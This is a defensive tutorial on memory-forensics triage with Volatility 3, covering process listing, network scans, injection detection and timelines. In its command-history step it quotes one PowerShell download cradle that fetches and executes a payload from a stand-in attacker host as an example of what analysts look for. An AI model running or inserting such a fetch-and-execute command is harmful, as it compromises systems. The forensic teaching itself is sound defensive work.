Memory Forensics Speed Run: Volatility 3 Triage in 10 Minutes

Prerequisites

Volatility 3 installed (pip3 install volatility3)
A memory dump file (we'll use mem.raw as example)
Python 3.8+
About 4-8GB RAM for analysis
15 minutes of time

Why Volatility 3?

Volatility 3 is faster and has better OS support than v2. The command syntax is cleaner: vol -f memory.raw windows.pslist instead of the old --profile mess.

Step 1: Verify Your Memory Dump

First, confirm your dump is readable and identify the OS:

bash
vol3 -f mem.raw windows.info

This shows:

OS version (Windows 10, build number)
Kernel base address
Number of processors

If this fails, your dump might be corrupted or from a non-Windows system. Try linux.info or mac.info.

Step 2: List Running Processes (The Foundation)

Every memory investigation starts here:

bash
vol3 -f mem.raw windows.pslist > pslist.txt

Look for:

Unusual parent-child relationships: cmd.exe spawned by excel.exe? That's suspicious.
Misspellings: scvhost.exe instead of svchost.exe
Odd paths: Legitimate svchost.exe runs from C:\Windows\System32, not C:\Users\Bob\AppData

Quick grep for common malware process names:

bash
grep -i "powershell\|cmd\|wscript\|mshta" pslist.txt

Step 3: Check Process Tree (Context Matters)

bash
vol3 -f mem.raw windows.pstree

This shows parent-child relationships visually. Example output:

code
**** 4 System
***** 304 smss.exe
****** 412 csrss.exe
****** 460 winlogon.exe
******* 1337 lsass.exe
******** 2048 calc.exe  <- Why is calc spawned by lsass?!

That calc.exe under lsass.exe screams credential dumping tool disguised as calculator.

Step 4: Identify Network Connections

See what the system was talking to:

bash
vol3 -f mem.raw windows.netscan > netscan.txt

Filter for established external connections:

bash
grep "ESTABLISHED" netscan.txt | grep -v "127.0.0.1\|0.0.0.0"

Red flags:

Connections to weird ports (4444, 5555 are common RAT ports)
Foreign IPs during off-hours
Processes like notepad.exe with network activity

Cross-reference IPs:

bash
awk '{print $3}' netscan.txt | sort -u > ips.txt
# Then check each IP on VirusTotal or AbuseIPDB

Step 5: Hunt for Code Injection

Attackers inject malicious code into legitimate processes. Detect this:

bash
vol3 -f mem.raw windows.malfind > malfind.txt

malfind finds memory regions that are:

Executable + Writable (bad combination)
Private (not backed by a file)
Contain suspicious patterns (MZ headers, shell code)

Review the output for processes with injected code. Look for:

explorer.exe with injected DLLs
svchost.exe with executable heap allocations

Step 6: Extract Suspicious Process

Found PID 2048 is sketchy? Dump it:

bash
vol3 -f mem.raw windows.pslist --pid 2048 --dump

This creates pid.2048.dmp. Analyze it:

bash
strings pid.2048.dmp | grep -i "http\|password\|key"

Or throw it at VirusTotal:

bash
curl -X POST https://www.virustotal.com/api/v3/files \
  -H "x-apikey: YOUR_API_KEY" \
  -F "file=@pid.2048.dmp"

Step 7: Check Command History

See what commands were run:

bash
vol3 -f mem.raw windows.cmdline

Gold mine for finding:

PowerShell download cradles: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')
Encoded commands: powershell -enc <base64>
File access patterns

Decode base64 PowerShell:

bash
echo "<base64_string>" | base64 -d

Step 8: Timeline Analysis (Advanced)

Create a full timeline of system events:

bash
vol3 -f mem.raw windows.timeliner --create-bodyfile > bodyfile.txt
mactime -b bodyfile.txt -d > timeline.csv

This is intensive but shows file creation/modification/access times. Import timeline.csv into Excel/Splunk to correlate events.

Step 9: Check for Rootkits

Detect hidden processes/drivers:

bash
vol3 -f mem.raw windows.pslist > visible.txt
vol3 -f mem.raw windows.psscan > all.txt
diff visible.txt all.txt

Any differences? That's a process hiding from the normal API—likely rootkit.

For drivers:

bash
vol3 -f mem.raw windows.modules
vol3 -f mem.raw windows.driverscan

Compare to find unsigned or suspicious drivers.

Quick Reference Cheat Sheet

bash
# OS info
vol3 -f mem.raw windows.info

# Processes
vol3 -f mem.raw windows.pslist
vol3 -f mem.raw windows.pstree
vol3 -f mem.raw windows.psscan  # includes hidden

# Network
vol3 -f mem.raw windows.netscan
vol3 -f mem.raw windows.netstat

# Malware detection
vol3 -f mem.raw windows.malfind
vol3 -f mem.raw windows.ldrmodules  # DLL injection

# Commands & registry
vol3 -f mem.raw windows.cmdline
vol3 -f mem.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

# File operations
vol3 -f mem.raw windows.filescan | grep -i "malware.exe"
vol3 -f mem.raw windows.dumpfiles --pid 1234

Performance Tips

Use specific plugins: Don't run vol3 -f mem.raw without a plugin—it just shows help.
Output to files: Always > output.txt for large datasets.
Parallel analysis: Run multiple terminals analyzing different aspects simultaneously.

Where to Go Next

Practice with sample dumps: https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples
Learn Windows internals: "Windows Internals" by Russinovich
Study malware techniques: MITRE ATT&CK framework
Try advanced plugins: hollowfind, suspicious_threads, vadinfo
Automate with Python scripts using Volatility as a library
Join CTF competitions focusing on memory forensics

Memory forensics reveals what antivirus misses and attackers try to hide. Master these commands, and you'll triage incidents before the coffee gets cold.